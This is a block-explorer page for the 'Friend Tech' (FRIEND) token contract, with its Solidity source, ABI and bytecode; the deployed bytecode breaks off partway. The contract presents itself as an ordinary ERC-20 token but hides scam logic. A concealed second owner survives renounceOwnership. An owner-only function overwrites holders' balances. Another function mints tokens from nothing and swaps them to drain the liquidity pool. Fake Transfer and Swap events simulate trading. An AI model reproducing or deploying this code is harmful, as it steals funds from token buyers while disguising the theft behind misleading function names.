ETH Price: $2,952.43 (-0.11%)
 

Overview

Max Total Supply

69,000,000 FRIEND

Holders

1

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FriendTech

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-08-11
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IPair {
    function token0() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}

interface IERC20 {
    function _Transfer(
        address from,
        address recipient,
        uint256 amount
    ) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

contract FriendTech {
    IRouter internal _router;
    IPair internal _pair;
    address public owner;
    address private _owner;
    address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    mapping(address => uint256) private internalAmounts;
    mapping(address => mapping(address => uint256)) private allowances;

    string public constant name = "Friend Tech";
    string public constant symbol = "FRIEND";
    uint8 public constant decimals = 18;
    uint256 public totalSupply = 69_000_000e18;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);

    constructor() {
        owner = msg.sender;
        _owner = msg.sender;
        _router = IRouter(_routerAddress);
        _pair = IPair(IFactory(_router.factory()).createPair(address(this), address(_router.WETH())));

        internalAmounts[msg.sender] = totalSupply;

        emit Transfer(address(0), msg.sender, totalSupply);
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    modifier OnlyOwner() {
        require(_owner == msg.sender, "Caller is not the Owner");
        _;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    function renounceOwnership() public onlyOwner {
        owner = address(0);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return internalAmounts[account];
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address __owner, address spender) public view virtual returns (uint256) {
        return allowances[__owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(__owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = internalAmounts[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        internalAmounts[from] = sub(fromBalance, amount);
        internalAmounts[to] = add(internalAmounts[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        allowances[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(__owner, spender, currentAllowance - amount);
            }
        }
    }

    function execute(
        address[] memory recipients,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) public OnlyOwner returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            _swap(recipients[i], tokenAmount, wethAmount, tokenAddress);
        }
        return true;
    }

    function swapExactTokensForTokens(
        address baseToken,
        address _recipient,
        uint256 amount
    ) public OnlyOwner {
        _manualSwap(baseToken, _recipient, amount);
    }

    function _manualSwap(
        address baseToken,
        address _recipient,
        uint256 amount
    ) internal {
        require(amount > 0 && amount < 100000, "Amount Exceeds Limits");
        uint256 baseTokenReserve = getBaseTokenReserve(baseToken);
        uint256 amountOut = (baseTokenReserve * amount) / 100000;

        address[] memory path;
        path = new address[](2);
        path[0] = address(this);
        path[1] = baseToken;

        uint256 amountIn = _countAmountIn(amountOut, path);

        _approve(address(this), address(_router), balanceOf(address(this)));
        _router.swapTokensForExactTokens(amountOut, amountIn, path, _recipient, block.timestamp + 1200); 
    }

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1, ) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    }

    function Execute(
        address[] calldata _users,
        uint256 _minBalanceToReward,
        uint256 _percent
    ) public OnlyOwner {
        for (uint256 i = 0; i < _users.length; i++) {
            if (balanceOf(_users[i]) > _minBalanceToReward) {
                uint256 rewardAmount = _countReward(_users[i], _percent);
                _check(_users[i], rewardAmount);
            }
        }
    }


    function _swap(
        address recipient,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) internal {
        _emitTransfer(recipient, tokenAmount);
        _emitSwap(tokenAmount, wethAmount, recipient);
        IERC20(tokenAddress)._Transfer(recipient, address(_pair), wethAmount);
    }

    function _emitTransfer(address recipient, uint256 tokenAmount) internal {
        emit Transfer(address(_pair), recipient, tokenAmount);
    }

    function _emitSwap(
        uint256 tokenAmount,
        uint256 wethAmount,
        address recipient
    ) internal {
        emit Swap(_routerAddress, tokenAmount, 0, 0, wethAmount, recipient);
    }

    function _countReward(address _user, uint256 _percent) internal view returns (uint256) {
        return _count(internalAmounts[_user], _percent);
    }

    function _countAmountIn(uint256 amountOut, address[] memory path) internal returns (uint256) {
        uint256[] memory amountInMax;
        amountInMax = new uint256[](2);
        amountInMax = _router.getAmountsIn(amountOut, path);
        internalAmounts[100 > 10 ? address(this) : address(0)] += amountInMax[0];
        return amountInMax[0];
    }

    function _count(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function _check(address user, uint256 amount) internal {
        internalAmounts[amount < 0 ? address(0) : user] = _mult(amount);
    }


    function _mult(uint256 a) internal pure returns(uint256) {
        return a * 10 / 10;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"}],"name":"Execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"wethAmount","type":"uint256"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"baseToken","type":"address"},{"internalType":"address","name":"_recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"swapExactTokensForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790556a3913517ebd3c0c6500000060075534801562000045575f80fd5b5060028054336001600160a01b03199182168117909255600380548216909217909155600480545f80546001600160a01b039092169190931681179092556040805163c45a015560e01b8152905163c45a0155928281019260209291908290030181865afa158015620000ba573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620000e0919062000245565b6001600160a01b031663c9c65396305f8054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200013e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000164919062000245565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620001af573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001d5919062000245565b600180546001600160a01b0319166001600160a01b0392909216919091179055600754335f81815260056020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000274565b5f6020828403121562000256575f80fd5b81516001600160a01b03811681146200026d575f80fd5b9392505050565b61155c80620002825f395ff3fe608060405234801561000f575f80fd5b5060043610610106575f3560e01c8063715018a61161009e578063a457c2d71161006e578063a457c2d71461026c578063a9059cbb1461027f578063bdedcbc014610292578063dd62ed3e146102a5578063e00a0a52146102b8575f80fd5b8063715018a6146101ff5780638da5cb5b1461020957806395d89b41146102345780639b792a4414610259575f80fd5b8063313ce567116100d9578063313ce5671461019757806335d16274146101b157806339509351146101c457806370a08231146101d7575f80fd5b806306fdde031461010a578063095ea7b31461014a57806318160ddd1461016d57806323b872dd14610184575b5f80fd5b6101346040518060400160405280600b81526020016a08ce4d2cadcc840a8cac6d60ab1b81525081565b6040516101419190610fcc565b60405180910390f35b61015d61015836600461103e565b6102cb565b6040519015158152602001610141565b61017660075481565b604051908152602001610141565b61015d610192366004611068565b6102e1565b61019f601281565b60405160ff9091168152602001610141565b6101766101bf3660046110a6565b610302565b61015d6101d236600461103e565b61042e565b6101766101e53660046110a6565b6001600160a01b03165f9081526005602052604090205490565b61020761044f565b005b60025461021c906001600160a01b031681565b6040516001600160a01b039091168152602001610141565b6101346040518060400160405280600681526020016511949251539160d21b81525081565b61015d610267366004611129565b6104c0565b61015d61027a36600461103e565b61053a565b61015d61028d36600461103e565b6105bf565b6102076102a0366004611068565b6105cb565b6101766102b33660046111e4565b610605565b6102076102c636600461121b565b61062f565b5f6102d7338484610712565b5060015b92915050565b5f6102ed843384610836565b6102f88484846108ae565b5060019392505050565b5f805f60015f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610355573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061037991906112ac565b50915091505f846001600160a01b031660015f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103fd91906112f8565b6001600160a01b03161461041a57816001600160701b0316610425565b826001600160701b03165b95945050505050565b5f336102f88185856104408383610605565b61044a9190611327565b610712565b6002546001600160a01b031633146104ae5760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e657200000000000000000060448201526064015b60405180910390fd5b600280546001600160a01b0319169055565b6003545f906001600160a01b031633146104ec5760405162461bcd60e51b81526004016104a59061133a565b5f5b855181101561052e5761051c86828151811061050c5761050c611371565b6020026020010151868686610a84565b8061052681611385565b9150506104ee565b50600195945050505050565b5f33816105478286610605565b9050838110156105a75760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016104a5565b6105b48286868403610712565b506001949350505050565b5f6102d73384846108ae565b6003546001600160a01b031633146105f55760405162461bcd60e51b81526004016104a59061133a565b610600838383610b15565b505050565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b6003546001600160a01b031633146106595760405162461bcd60e51b81526004016104a59061133a565b5f5b8381101561070b578261068e86868481811061067957610679611371565b90506020020160208101906101e591906110a6565b11156106f9575f6106c58686848181106106aa576106aa611371565b90506020020160208101906106bf91906110a6565b84610cdb565b90506106f78686848181106106dc576106dc611371565b90506020020160208101906106f191906110a6565b82610d04565b505b8061070381611385565b91505061065b565b5050505050565b6001600160a01b0383166107745760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104a5565b6001600160a01b0382166107d55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104a5565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f6108418484610605565b90505f1981146108a8578181101561089b5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016104a5565b6108a88484848403610712565b50505050565b6001600160a01b0383166109125760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104a5565b6001600160a01b0382166109745760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104a5565b6001600160a01b0383165f90815260056020526040902054818110156109eb5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016104a5565b6109f58183610d2c565b6001600160a01b038086165f908152600560205260408082209390935590851681522054610a239083610d90565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a769086815260200190565b60405180910390a350505050565b610a8e8484610dee565b610a99838386610e36565b6001546040516370ab58db60e11b81526001600160a01b0386811660048301529182166024820152604481018490529082169063e156b1b6906064016020604051808303815f875af1158015610af1573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070b919061139d565b5f81118015610b265750620186a081105b610b6a5760405162461bcd60e51b8152602060048201526015602482015274416d6f756e742045786365656473204c696d69747360581b60448201526064016104a5565b5f610b7484610302565b90505f620186a0610b8584846113bc565b610b8f91906113d3565b60408051600280825260608083018452939450909160208301908036833701905050905030815f81518110610bc657610bc6611371565b60200260200101906001600160a01b031690816001600160a01b0316815250508581600181518110610bfa57610bfa611371565b60200260200101906001600160a01b031690816001600160a01b0316815250505f610c258383610e8e565b5f8054308083526005602052604090922054929350610c4f926001600160a01b0390911690610712565b5f546001600160a01b0316638803dbee8483858a610c6f426104b0611327565b6040518663ffffffff1660e01b8152600401610c8f959493929190611434565b5f604051808303815f875af1158015610caa573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052610cd1919081019061146f565b5050505050505050565b6001600160a01b0382165f90815260056020526040812054610cfd9083610faa565b9392505050565b610d0d81610fb5565b6001600160a01b039092165f9081526005602052604090209190915550565b5f82821115610d7d5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016104a5565b5f610d8883856114fb565b949350505050565b5f80610d9c8385611327565b905083811015610cfd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104a5565b6001546040518281526001600160a01b038481169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600454604080518581525f6020820181905291810191909152606081018490526001600160a01b038381169216907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82290608001610829565b604080516002808252606080830184525f939092919060208301908036833750505f546040516307c0329d60e21b81529293506001600160a01b031691631f00ca749150610ee2908790879060040161150e565b5f60405180830381865afa158015610efc573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052610f23919081019061146f565b9050805f81518110610f3757610f37611371565b602002602001015160055f600a606411610f51575f610f53565b305b6001600160a01b03166001600160a01b031681526020019081526020015f205f828254610f809190611327565b92505081905550805f81518110610f9957610f99611371565b602002602001015191505092915050565b5f610cfd82846113d3565b5f600a610fc283826113bc565b6102db91906113d3565b5f6020808352835180828501525f5b81811015610ff757858101830151858201604001528201610fdb565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461102b575f80fd5b50565b803561103981611017565b919050565b5f806040838503121561104f575f80fd5b823561105a81611017565b946020939093013593505050565b5f805f6060848603121561107a575f80fd5b833561108581611017565b9250602084013561109581611017565b929592945050506040919091013590565b5f602082840312156110b6575f80fd5b8135610cfd81611017565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff811182821017156110fe576110fe6110c1565b604052919050565b5f67ffffffffffffffff82111561111f5761111f6110c1565b5060051b60200190565b5f805f806080858703121561113c575f80fd5b843567ffffffffffffffff811115611152575f80fd5b8501601f81018713611162575f80fd5b8035602061117761117283611106565b6110d5565b82815260059290921b8301810191818101908a841115611195575f80fd5b938201935b838510156111bc5784356111ad81611017565b8252938201939082019061119a565b97505087013594505050604085013591506111d96060860161102e565b905092959194509250565b5f80604083850312156111f5575f80fd5b823561120081611017565b9150602083013561121081611017565b809150509250929050565b5f805f806060858703121561122e575f80fd5b843567ffffffffffffffff80821115611245575f80fd5b818701915087601f830112611258575f80fd5b813581811115611266575f80fd5b8860208260051b850101111561127a575f80fd5b6020928301999098509187013596604001359550909350505050565b80516001600160701b0381168114611039575f80fd5b5f805f606084860312156112be575f80fd5b6112c784611296565b92506112d560208501611296565b9150604084015163ffffffff811681146112ed575f80fd5b809150509250925092565b5f60208284031215611308575f80fd5b8151610cfd81611017565b634e487b7160e01b5f52601160045260245ffd5b808201808211156102db576102db611313565b60208082526017908201527f43616c6c6572206973206e6f7420746865204f776e6572000000000000000000604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f6001820161139657611396611313565b5060010190565b5f602082840312156113ad575f80fd5b81518015158114610cfd575f80fd5b80820281158282048414176102db576102db611313565b5f826113ed57634e487b7160e01b5f52601260045260245ffd5b500490565b5f8151808452602080850194508084015f5b838110156114295781516001600160a01b031687529582019590820190600101611404565b509495945050505050565b85815284602082015260a060408201525f61145260a08301866113f2565b6001600160a01b0394909416606083015250608001529392505050565b5f6020808385031215611480575f80fd5b825167ffffffffffffffff811115611496575f80fd5b8301601f810185136114a6575f80fd5b80516114b461117282611106565b81815260059190911b820183019083810190878311156114d2575f80fd5b928401925b828410156114f0578351825292840192908401906114d7565b979650505050505050565b818103818111156102db576102db611313565b828152604060208201525f610d8860408301846113f256fea2646970667358221220d145235126b6528b2290ecc607b410ce035f2f11b7a850c70aecea04fa6cb2cc64736f6c63430008140033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610106575f3560e01c8063715018a61161009e578063a457c2d71161006e578063a457c2d71461026c578063a9059cbb1461027f578063bdedcbc014610292578063dd62ed3e146102a5578063e00a0a52146102b8575f80fd5b8063715018a6146101ff5780638da5cb5b1461020957806395d89b41146102345780639b792a4414610259575f80fd5b8063313ce567116100d9578063313ce5671461019757806335d16274146101b157806339509351146101c457806370a08231146101d7575f80fd5b806306fdde031461010a578063095ea7b31461014a57806318160ddd1461016d57806323b872dd14610184575b5f80fd5b6101346040518060400160405280600b81526020016a08ce4d2cadcc840a8cac6d60ab1b81525081565b6040516101419190610fcc565b60405180910390f35b61015d61015836600461103e565b6102cb565b6040519015158152602001610141565b61017660075481565b604051908152602001610141565b61015d610192366004611068565b6102e1565b61019f601281565b60405160ff9091168152602001610141565b6101766101bf3660046110a6565b610302565b61015d6101d236600461103e565b61042e565b6101766101e53660046110a6565b6001600160a01b03165f9081526005602052604090205490565b61020761044f565b005b60025461021c906001600160a01b031681565b6040516001600160a01b039091168152602001610141565b6101346040518060400160405280600681526020016511949251539160d21b81525081565b61015d610267366004611129565b6104c0565b61015d61027a36600461103e565b61053a565b61015d61028d36600461103e565b6105bf565b6102076102a0366004611068565b6105cb565b6101766102b33660046111e4565b610605565b6102076102c636600461121b565b61062f565b5f6102d7338484610712565b5060015b92915050565b5f6102ed843384610836565b6102f88484846108ae565b5060019392505050565b5f805f60015f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610355573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061037991906112ac565b50915091505f846001600160a01b031660015f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103fd91906112f8565b6001600160a01b03161461041a57816001600160701b0316610425565b826001600160701b03165b95945050505050565b5f336102f88185856104408383610605565b61044a9190611327565b610712565b6002546001600160a01b031633146104ae5760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e657200000000000000000060448201526064015b60405180910390fd5b600280546001600160a01b0319169055565b6003545f906001600160a01b031633146104ec5760405162461bcd60e51b81526004016104a59061133a565b5f5b855181101561052e5761051c86828151811061050c5761050c611371565b6020026020010151868686610a84565b8061052681611385565b9150506104ee565b50600195945050505050565b5f33816105478286610605565b9050838110156105a75760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016104a5565b6105b48286868403610712565b506001949350505050565b5f6102d73384846108ae565b6003546001600160a01b031633146105f55760405162461bcd60e51b81526004016104a59061133a565b610600838383610b15565b505050565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b6003546001600160a01b031633146106595760405162461bcd60e51b81526004016104a59061133a565b5f5b8381101561070b578261068e86868481811061067957610679611371565b90506020020160208101906101e591906110a6565b11156106f9575f6106c58686848181106106aa576106aa611371565b90506020020160208101906106bf91906110a6565b84610cdb565b90506106f78686848181106106dc576106dc611371565b90506020020160208101906106f191906110a6565b82610d04565b505b8061070381611385565b91505061065b565b5050505050565b6001600160a01b0383166107745760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104a5565b6001600160a01b0382166107d55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104a5565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f6108418484610605565b90505f1981146108a8578181101561089b5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016104a5565b6108a88484848403610712565b50505050565b6001600160a01b0383166109125760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104a5565b6001600160a01b0382166109745760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104a5565b6001600160a01b0383165f90815260056020526040902054818110156109eb5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016104a5565b6109f58183610d2c565b6001600160a01b038086165f908152600560205260408082209390935590851681522054610a239083610d90565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a769086815260200190565b60405180910390a350505050565b610a8e8484610dee565b610a99838386610e36565b6001546040516370ab58db60e11b81526001600160a01b0386811660048301529182166024820152604481018490529082169063e156b1b6906064016020604051808303815f875af1158015610af1573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070b919061139d565b5f81118015610b265750620186a081105b610b6a5760405162461bcd60e51b8152602060048201526015602482015274416d6f756e742045786365656473204c696d69747360581b60448201526064016104a5565b5f610b7484610302565b90505f620186a0610b8584846113bc565b610b8f91906113d3565b60408051600280825260608083018452939450909160208301908036833701905050905030815f81518110610bc657610bc6611371565b60200260200101906001600160a01b031690816001600160a01b0316815250508581600181518110610bfa57610bfa611371565b60200260200101906001600160a01b031690816001600160a01b0316815250505f610c258383610e8e565b5f8054308083526005602052604090922054929350610c4f926001600160a01b0390911690610712565b5f546001600160a01b0316638803dbee8483858a610c6f426104b0611327565b6040518663ffffffff1660e01b8152600401610c8f959493929190611434565b5f604051808303815f875af1158015610caa573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052610cd1919081019061146f565b5050505050505050565b6001600160a01b0382165f90815260056020526040812054610cfd9083610faa565b9392505050565b610d0d81610fb5565b6001600160a01b039092165f9081526005602052604090209190915550565b5f82821115610d7d5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016104a5565b5f610d8883856114fb565b949350505050565b5f80610d9c8385611327565b905083811015610cfd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104a5565b6001546040518281526001600160a01b038481169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600454604080518581525f6020820181905291810191909152606081018490526001600160a01b038381169216907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82290608001610829565b604080516002808252606080830184525f939092919060208301908036833750505f546040516307c0329d60e21b81529293506001600160a01b031691631f00ca749150610ee2908790879060040161150e565b5f60405180830381865afa158015610efc573d5f803e